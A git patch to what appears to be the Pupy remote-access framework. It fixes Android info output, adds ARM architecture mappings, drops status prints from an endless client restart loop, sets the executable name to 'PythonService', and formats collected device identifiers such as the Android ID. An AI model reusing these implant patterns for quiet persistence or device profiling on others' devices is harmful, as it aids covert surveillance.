From 99dce7db7ad706c976663d62550d5958c3f27bcf Mon Sep 17 00:00:00 2001
From: Oleksii Shevchuk
Date: Tue, 23 May 2017 13:22:49 +0300
Subject: [PATCH] Fix android info command output
---
client/android_sources/main.py | 7 ++++---
pupy/modules/get_info.py | 4 +++-
pupy/pupylib/PupyClient.py | 6 ++++++
3 files changed, 13 insertions(+), 4 deletions(-)
diff --git a/client/android_sources/main.py b/client/android_sources/main.py
index 73f58073..597f46e1 100644
--- a/client/android_sources/main.py
+++ b/client/android_sources/main.py
@@ -5,18 +5,19 @@
import os
import platform
+import time
os.environ['KIVY_NO_FILELOG']='yes'
platform.system = lambda: 'android'
if __name__ == '__main__':
import pp
+ import sys
+ setattr(sys, 'executable', 'PythonService')
while True:
try:
- print "starting pupy ..."
pp.main()
- print "pupy exit"
except Exception, e:
- print "pupy crashed: ", e
import traceback
traceback.print_exc(e)
+ time.sleep(10)
diff --git a/pupy/modules/get_info.py b/pupy/modules/get_info.py
index c7aba039..3d7743e7 100644
--- a/pupy/modules/get_info.py
+++ b/pupy/modules/get_info.py
@@ -67,7 +67,7 @@ class GetInfo(PupyModule):
androidID = self.client.conn.modules["pupydroid.utils"].getAndroidID()
infos.append(("android_id",androidID))
wifiEnabled = self.client.conn.modules["pupydroid.utils"].isWiFiEnabled()
- infos.append(("wifi_enabled",wifiEnabled))
+ infos.append(("wifi_enabled",wifiConnected or wifiEnabled))
infoBuild = self.client.conn.modules["pupydroid.utils"].getInfoBuild()
infos.append(("device_name",infoBuild['deviceName']))
infos.append(("manufacturer",infoBuild['manufacturer']))
@@ -118,6 +118,8 @@ class GetInfo(PupyModule):
for i, (key, value) in enumerate(infos):
if value == None or value == "":
value = "?"
+ elif type(value) in (list, tuple):
+ value = ' '.join([ unicode(x) for x in value ])
infoTemp.append((key, value))
infos = infoTemp
diff --git a/pupy/pupylib/PupyClient.py b/pupy/pupylib/PupyClient.py
index ccc2e6c7..d3975578 100644
--- a/pupy/pupylib/PupyClient.py
+++ b/pupy/pupylib/PupyClient.py
@@ -137,6 +137,8 @@ class PupyClient(object):
'amd64': 'intel',
'x86': 'intel',
'i86pc': 'sun-intel',
+ 'armv7l': 'arm',
+ 'aarch64': 'arm',
}
os_platform_to_arch = {
@@ -149,6 +151,10 @@ class PupyClient(object):
# The script is for amd64
'32bit': 'i86pc',
'64bit': 'i86pc'
+ },
+ 'arm': {
+ '32bit': 'arm',
+ '64bit': 'aarch64'
}
}